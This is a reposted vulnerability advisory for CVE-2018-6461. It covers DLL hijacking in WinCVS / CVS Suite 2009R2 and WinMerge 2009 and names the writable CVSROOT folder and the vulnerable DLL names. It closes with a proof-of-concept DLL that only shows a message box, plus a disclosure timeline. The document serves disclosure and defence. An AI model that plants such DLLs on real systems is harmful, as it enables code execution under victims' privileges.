CVS Suite 2009R2 / Insecure Library Loading Vulnerability

[+] Credits: John Page (aka hyp3rlinx)		

Vendor:
=============
march-hare.com


Product:
===========
WINCVS 2009R2

CVS Suite is a modern versioning system that combines the power and stability of CVS with modern easy to use client software and support for
Configuration Management best practice. As the newest major release of the world’s most popular versioning system, CVS Suite 2009R2 continues
CVSNT’s blazing pace of innovation with new features and usability enhacements.



Vulnerability Type:
===================
Insecure Library Loading


CVE Reference:
==============
CVE-2018-6461


Security Issue:
================
Non privileged user can write files to "C:\ProgramData\March Hare\myrepo\CVSROOT" to gain authenticated access with the same privileges
as the current logged on user, in addition they can run arbitrary code with same privileges as that of the victim.

e.g.

C:\ProgramData\March Hare\myrepo\CVSROOT>cacls * | more
C:\ProgramData\March Hare\myrepo\CVSROOT\CVS Everyone:(OI)(CI)F
                                             NT AUTHORITY\SYSTEM:(OI)(CI)F


WinCVS:
Attackers can place a malicious DLLs in CVSROOT and wait for CVS user to run WINCVS, then when browse to a repository in CVSROOT and right click on
CVSROOT or a CVSROOT file to 'Open in new instance' or Ctrl+F2 then the attackers DLL will execute.

Attacker supplied DLL e.g. 'python31.dll' will execute if placed on victims desktop and user initially opens 'wicvs2.exe'.
basically anywhere or repository we can place malicious DLL that they can browse to should work.

WinMerge 2009 also vulnerable:
If a WinMerge project file is opened from a remote share where specific attacker supplied DLLs have been placed it will load and execute it.

vuln DLL(s):
============
tcl87.dll
python30.dll
python31.dll

Basically anywhere or any repository we can place malicious DLL that they can browse to should work.


References:
============
http://march-hare.com/cvspro/vulnwincvs.htm


Exploit/POC:
=============
Create "python31.dll" 

#include<windows.h>

//gcc -c python31.c
//gcc -shared -o python31.dll python31.o

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
  switch (reason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL, "Done!", "hyp3rlinx", MB_OK);  
    break;
  }

return 0;
}



Disclosure Timeline:
=============================
Vendor Notification: January 26, 2018
Vendor acknowledgemen: January 27, 2018
Vendor releases fix: February 2, 2018
February 5, 2018 : Public Disclosure

#  0day.today [2018-03-13]  #